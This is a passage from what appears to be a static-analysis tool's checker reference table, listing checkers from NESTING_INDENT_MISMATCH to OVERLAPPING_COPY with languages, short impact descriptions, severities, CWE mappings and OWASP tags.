| NESTING_INDENT_MISMATCH | Nesting level does not match indentation | Control flow issues | PHP | Code that is meant to be executed conditionally may be executed unconditionally. | Medium | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NESTING_INDENT_MISMATCH | Nesting level does not match indentation | Control flow issues | Scala | Code that is meant to be executed conditionally may be executed unconditionally. | Medium | Quality | 483 | 17, 18, 398, 438, 483, 670, 691, 699, 700, 710, 884, 888, 907, 977, 978, 1000, 1003, 1006 | ||
| NON_STATIC_GUARDING_STATIC | Data race condition | Concurrent data access violations | C# | No single lock protects the static data, so the value will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 380, 381, 543, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 861, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| NON_STATIC_GUARDING_STATIC | Data race condition | Concurrent data access violations | Java | No single lock protects the static data, so the value of the data will be determined by the interleaving of thread execution. | Medium | Quality | 366 | 17, 18, 361, 362, 366, 380, 381, 543, 557, 567, 634, 635, 662, 664, 691, 699, 700, 734, 743, 745, 748, 750, 751, 800, 801, 820, 844, 852, 853, 861, 867, 868, 877, 879, 882, 884, 888, 892, 894, 900, 907, 977, 984, 986, 988, 1000, 1003 | ||
| NOSQL_QUERY_INJECTION | NoSQL query injection | Medium impact security | C# | An attacker can change the intent of the NoSQL query, which may bypass security controls or disclose unauthorized data. | Medium | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| NOSQL_QUERY_INJECTION | NoSQL query injection | Medium impact security | Java | An attacker can change the intent of the NoSQL query, which may bypass security controls or disclose unauthorized data. | Medium | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| NOSQL_QUERY_INJECTION | NoSQL query injection | Medium impact security | JavaScript | An attacker can change the intent of the NoSQL query, which may bypass security controls or disclose unauthorized data. | Medium | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| NOSQL_QUERY_INJECTION | NoSQL query injection | Medium impact security | PHP | An attacker can change the intent of the NoSQL query, which may bypass security controls or disclose unauthorized data. | Medium | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| NOSQL_QUERY_INJECTION | NoSQL query injection | Medium impact security | Python | An attacker can change the intent of the NoSQL query, which may bypass security controls or disclose unauthorized data. | Medium | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| NO_EFFECT | Array compared against 0 | Incorrect expression | C/C++ | The address of an array is never NULL, so the comparison will always evaluate the same way. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Array compared against 0 | Incorrect expression | Objective-C/C++ | The address of an array is never NULL, so the comparison will always evaluate the same way. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Memset fill value of '0' | Memory - illegal accesses | C/C++ | The buffer will be filled with ASCII character '0' instead of actual zero bytes. | High | Quality | 665 | 17, 18, 361, 452, 664, 665, 699, 700, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 962, 984, 1000, 1003 | ||
| NO_EFFECT | Memset fill value of '0' | Memory - illegal accesses | Objective-C/C++ | The buffer will be filled with ASCII character '0' instead of actual zero bytes. | High | Quality | 665 | 17, 18, 361, 452, 664, 665, 699, 700, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 962, 984, 1000, 1003 | ||
| NO_EFFECT | Memset fill truncated | Memory - illegal accesses | C/C++ | The buffer will not be filled with the apparent fill byte pattern, instead it will be filled with the truncated value. | High | Quality | 197 | 17, 18, 19, 136, 189, 197, 361, 635, 664, 681, 699, 700, 704, 734, 737, 738, 739, 741, 747, 800, 808, 844, 848, 867, 868, 872, 873, 875, 883, 884, 885, 888, 892, 900, 984, 998, 1000, 1003 | ||
| NO_EFFECT | Memset fill truncated | Memory - illegal accesses | Objective-C/C++ | The buffer will not be filled with the apparent fill byte pattern, instead it will be filled with the truncated value. | High | Quality | 197 | 17, 18, 19, 136, 189, 197, 361, 635, 664, 681, 699, 700, 704, 734, 737, 738, 739, 741, 747, 800, 808, 844, 848, 867, 868, 872, 873, 875, 883, 884, 885, 888, 892, 900, 984, 998, 1000, 1003 | ||
| NO_EFFECT | Memset buffer size of 0 | Memory - illegal accesses | C/C++ | The buffer will not be modified; no part of the buffer will be cleared or assigned the fill byte value. | High | Quality | 456 | 17, 18, 361, 398, 452, 456, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 800, 808, 844, 846, 867, 868, 874, 876, 884, 885, 888, 889, 892, 900, 907, 909, 962, 978, 984, 998, 1000, 1003 | ||
| NO_EFFECT | Memset buffer size of 0 | Memory - illegal accesses | Objective-C/C++ | The buffer will not be modified; no part of the buffer will be cleared or assigned the fill byte value. | High | Quality | 456 | 17, 18, 361, 398, 452, 456, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 800, 808, 844, 846, 867, 868, 874, 876, 884, 885, 888, 889, 892, 900, 907, 909, 962, 978, 984, 998, 1000, 1003 | ||
| NO_EFFECT | Misused comma operator | Incorrect expression | C/C++ | The left hand side of the comma will be evaluated and then the value discarded. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| NO_EFFECT | Misused comma operator | Incorrect expression | Objective-C/C++ | The left hand side of the comma will be evaluated and then the value discarded. | Medium | Quality | 480 | 17, 18, 398, 438, 480, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 888, 907, 977, 978, 1000, 1003 | ||
| NO_EFFECT | Incomplete delete | Resource leaks | C/C++ | The right hand side of the comma expression will not be deleted, resulting in a memory leak. | High | Quality | 401 | 17, 18, 361, 398, 399, 400, 401, 404, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| NO_EFFECT | Incomplete delete | Resource leaks | Objective-C/C++ | The right hand side of the comma expression will not be deleted, resulting in a memory leak. | High | Quality | 401 | 17, 18, 361, 398, 399, 400, 401, 404, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| NO_EFFECT | Incorrect pointer increment | Incorrect expression | C/C++ | The pointer may end up pointing outside the current memory buffer, while the value pointed-to will be unchanged. | Medium | Quality | 465 | 17, 18, 398, 465, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Incorrect pointer increment | Incorrect expression | Objective-C/C++ | The pointer may end up pointing outside the current memory buffer, while the value pointed-to will be unchanged. | Medium | Quality | 465 | 17, 18, 398, 465, 699, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Test should be assignment | Incorrect expression | C/C++ | The test will be executed and then discarded; no assignment will be performed. | Medium | Quality | 482 | 17, 18, 398, 438, 480, 482, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 886, 888, 907, 977, 978, 1000, 1003 | ||
| NO_EFFECT | Test should be assignment | Incorrect expression | Objective-C/C++ | The test will be executed and then discarded; no assignment will be performed. | Medium | Quality | 482 | 17, 18, 398, 438, 480, 482, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 886, 888, 907, 977, 978, 1000, 1003 | ||
| NO_EFFECT | Expression with no effect | Incorrect expression | JavaScript | Perhaps the code was intended to affect the behavior of the program, but it does not. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Expression with no effect | Incorrect expression | PHP | Perhaps the code was intended to affect the behavior of the program, but it does not. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Expression with no effect | Incorrect expression | Ruby | Perhaps the code was intended to affect the behavior of the program, but it does not. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Expression with no effect | Incorrect expression | Scala | Perhaps the code was intended to affect the behavior of the program, but it does not. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Self assignment | Incorrect expression | C/C++ | The variable's value will not change, so the assignment has no effect. | Medium | Quality | 665 | 17, 18, 361, 398, 452, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 907, 962, 978, 984, 1000, 1003 | ||
| NO_EFFECT | Self assignment | Incorrect expression | JavaScript | The variable's value will not change, so the assignment has no effect. | Medium | Quality | 665 | 17, 18, 361, 398, 452, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 907, 962, 978, 984, 1000, 1003 | ||
| NO_EFFECT | Self assignment | Incorrect expression | Objective-C/C++ | The variable's value will not change, so the assignment has no effect. | Medium | Quality | 665 | 17, 18, 361, 398, 452, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 907, 962, 978, 984, 1000, 1003 | ||
| NO_EFFECT | Self assignment | Incorrect expression | PHP | The variable's value will not change, so the assignment has no effect. | Medium | Quality | 665 | 17, 18, 361, 398, 452, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 907, 962, 978, 984, 1000, 1003 | ||
| NO_EFFECT | Self assignment | Incorrect expression | Ruby | The variable's value will not change, so the assignment has no effect. | Medium | Quality | 665 | 17, 18, 361, 398, 452, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 907, 962, 978, 984, 1000, 1003 | ||
| NO_EFFECT | Self assignment | Incorrect expression | Scala | The variable's value will not change, so the assignment has no effect. | Medium | Quality | 665 | 17, 18, 361, 398, 452, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 888, 889, 892, 907, 962, 978, 984, 1000, 1003 | ||
| NO_EFFECT | Unnecessary instance object usage | Miscellaneous | C/C++ | An instance object is used to access a static field or method, which is unnecessary. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Unnecessary instance object usage | Miscellaneous | Objective-C/C++ | An instance object is used to access a static field or method, which is unnecessary. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| NO_EFFECT | Unsigned compared against 0 | Control flow issues | C/C++ | An unsigned value can never be negative, so this test will always evaluate the same way. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| NO_EFFECT | Unsigned compared against 0 | Control flow issues | Objective-C/C++ | An unsigned value can never be negative, so this test will always evaluate the same way. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| NO_EFFECT | Macro compares unsigned to 0 | Integer handling issues | C/C++ | An unsigned value can never be negative, so this test will always evaluate the same way. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| NO_EFFECT | Macro compares unsigned to 0 | Integer handling issues | Objective-C/C++ | An unsigned value can never be negative, so this test will always evaluate the same way. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| NO_EFFECT | Enum compared against 0 | Integer handling issues | C/C++ | No enumeration values are negative, so this test will always evaluate the same way. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| NO_EFFECT | Enum compared against 0 | Integer handling issues | Objective-C/C++ | No enumeration values are negative, so this test will always evaluate the same way. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| NULL_RETURNS | Dereference null return value | Null pointer dereferences | C# | If the function actually returns a null reference, a null reference exception will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Dereference null return value | Null pointer dereferences | Java | If the function actually returns a null value, a NullPointerException will be thrown. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Bad use of null-like value | Null pointer dereferences | JavaScript | If the function returns a null or undefined value, this code will cause an exception such as a TypeError. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Dereference null return (stat) | Null pointer dereferences | C# | If the function can actually return null, then a null pointer dereference would occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Dereference null return (stat) | Null pointer dereferences | Java | If the function can actually return null, then a NullPointerException will be thrown. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Dereference null return value | Null pointer dereferences | C/C++ | If the function actually returns a null value, a null pointer dereference will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Dereference null return value | Null pointer dereferences | Objective-C/C++ | If the function actually returns a null value, a null pointer dereference will occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Dereference null return (stat) | Null pointer dereferences | C/C++ | If the function can actually return null, then a null pointer dereference would occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| NULL_RETURNS | Dereference null return (stat) | Null pointer dereferences | Objective-C/C++ | If the function can actually return null, then a null pointer dereference would occur. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| OGNL_INJECTION | OGNL injection | High impact security | Java | An attacker can force the evaluation of OGNL statements to execute arbitrary code. | High | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| OPEN_ARGS | Insecure file permissions | API usage errors | C/C++ | The permissions on the file created will be arbitrary and possibly insecure. | Medium | Quality, Security | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| OPEN_ARGS | Insecure file permissions | API usage errors | Objective-C/C++ | The permissions on the file created will be arbitrary and possibly insecure. | Medium | Quality, Security | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| OPEN_REDIRECT | Open redirect | Medium impact security | C# | An attacker can mount a phishing attack by modifying the URL value to point to a malicious Web site. | Medium | Security | 601 | 17, 18, 19, 20, 254, 264, 265, 361, 442, 601, 610, 635, 664, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 819, 864, 868, 872, 876, 883, 884, 888, 892, 893, 896, 900, 907, 928, 938, 975, 980, 984, 990, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ✓ | |
| OPEN_REDIRECT | Open redirect | Medium impact security | Java | An attacker can mount a phishing attack by modifying the URL value to point to a malicious Web site. | Medium | Security | 601 | 17, 18, 19, 20, 254, 264, 265, 361, 442, 601, 610, 635, 664, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 819, 864, 868, 872, 876, 883, 884, 888, 892, 893, 896, 900, 907, 928, 938, 975, 980, 984, 990, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ✓ | |
| OPEN_REDIRECT | Open redirect | Medium impact security | JavaScript | An attacker can mount a phishing attack by modifying the URL value to point to a malicious Web site. | Medium | Security | 601 | 17, 18, 19, 20, 254, 264, 265, 361, 442, 601, 610, 635, 664, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 819, 864, 868, 872, 876, 883, 884, 888, 892, 893, 896, 900, 907, 928, 938, 975, 980, 984, 990, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ✓ | |
| OPEN_REDIRECT | Open redirect | Medium impact security | PHP | An attacker can mount a phishing attack by modifying the URL value to point to a malicious Web site. | Medium | Security | 601 | 17, 18, 19, 20, 254, 264, 265, 361, 442, 601, 610, 635, 664, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 819, 864, 868, 872, 876, 883, 884, 888, 892, 893, 896, 900, 907, 928, 938, 975, 980, 984, 990, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ✓ | |
| OPEN_REDIRECT | Open redirect | Medium impact security | Python | An attacker can mount a phishing attack by modifying the URL value to point to a malicious Web site. | Medium | Security | 601 | 17, 18, 19, 20, 254, 264, 265, 361, 442, 601, 610, 635, 664, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 819, 864, 868, 872, 876, 883, 884, 888, 892, 893, 896, 900, 907, 928, 938, 975, 980, 984, 990, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ✓ | |
| OPEN_REDIRECT | Open redirect | Medium impact security | Visual Basic | An attacker can mount a phishing attack by modifying the URL value to point to a malicious Web site. | Medium | Security | 601 | 17, 18, 19, 20, 254, 264, 265, 361, 442, 601, 610, 635, 664, 693, 699, 700, 711, 722, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 819, 864, 868, 872, 876, 883, 884, 888, 892, 893, 896, 900, 907, 928, 938, 975, 980, 984, 990, 994, 1000, 1003, 1005, 1008, 1015, 1019 | ✓ | |
| ORDER_REVERSAL | Thread deadlock | Program hangs | C/C++ | Two threads will be stuck waiting forever if each holds a lock the other needs to acquire. | Medium | Quality | 833 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 833, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| ORDER_REVERSAL | Thread deadlock | Program hangs | Objective-C/C++ | Two threads will be stuck waiting forever if each holds a lock the other needs to acquire. | Medium | Quality | 833 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 833, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| ORM_ABANDONED_TRANSIENT | ORM persistence error | API usage errors | Java | New data is not stored in the database. | Medium | Quality | None | |||
| ORM_LOAD_NULL_CHECK | ORM usage error | API usage errors | Java | Use of a proxy for a non-existent object will throw an exception. | Medium | Quality | 253 | 17, 18, 227, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| ORM_LOST_UPDATE | ORM persistence error | API usage errors | Java | In-memory changes are not stored in the database. | Medium | Quality | None | |||
| ORM_UNNECESSARY_GET | Unnecessary call to org.hibernate.Session.get method | Performance inefficiencies | Java | Database accesses are expensive and will reduce the performance of the system. | Low | Quality | None | |||
| OS_CMD_INJECTION | OS Command Injection | High impact security | C# | A user can change the intent of an operating system command. This change may result in the disclosure, destruction, or modification of sensitive data or operating system resources. | High | Security | 78 | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| OS_CMD_INJECTION | OS Command Injection | High impact security | Visual Basic | A user can change the intent of an operating system command. This change may result in the disclosure, destruction, or modification of sensitive data or operating system resources. | High | Security | 78 | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| OS_CMD_INJECTION | OS Command Injection | High impact security | Java | A user can change the intent of an operating system command. This change may result in the disclosure, destruction, or modification of sensitive data or operating system resources. | High | Security | 78 | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| OS_CMD_INJECTION | OS Command Injection | High impact security | JavaScript | A user can change the intent of an operating system command. This change may result in the disclosure, destruction, or modification of sensitive data or operating system resources. | High | Security | 78 | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| OS_CMD_INJECTION | OS Command Injection | High impact security | PHP | A user can change the intent of an operating system command. This change may result in the disclosure, destruction, or modification of sensitive data or operating system resources. | High | Security | 78 | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| OS_CMD_INJECTION | OS Command Injection | High impact security | Python | A user can change the intent of an operating system command. This change may result in the disclosure, destruction, or modification of sensitive data or operating system resources. | High | Security | 78 | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| OVERFLOW_BEFORE_WIDEN | Unintentional integer overflow | Integer handling issues | C/C++ | The expression's value may not be what the programmer intended, because the expression is evaluated using a narrow (i.e. few bits) integer type. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| OVERFLOW_BEFORE_WIDEN | Unintentional integer overflow | Integer handling issues | C# | The expression's value may not be what the programmer intended, because the expression is evaluated using a narrow (i.e. few bits) integer type. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| OVERFLOW_BEFORE_WIDEN | Unintentional integer overflow | Integer handling issues | Java | The expression's value may not be what the programmer intended, because the expression is evaluated using a narrow (i.e. few bits) integer type. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| OVERFLOW_BEFORE_WIDEN | Unintentional integer overflow | Integer handling issues | Objective-C/C++ | The expression's value may not be what the programmer intended, because the expression is evaluated using a narrow (i.e. few bits) integer type. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| OVERFLOW_BEFORE_WIDEN | Unintentional integer overflow | Integer handling issues | Scala | The expression's value may not be what the programmer intended, because the expression is evaluated using a narrow (i.e. few bits) integer type. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| OVERLAPPING_COPY | Assignment of overlapping memory | Memory - corruptions | C/C++ | Memory may be overwritten before it is read. | High | Quality | None | |||
| OVERLAPPING_COPY | Copy of overlapping memory | Memory - corruptions | C/C++ | Memory may be overwritten before it is read. | High | Quality | None | |||
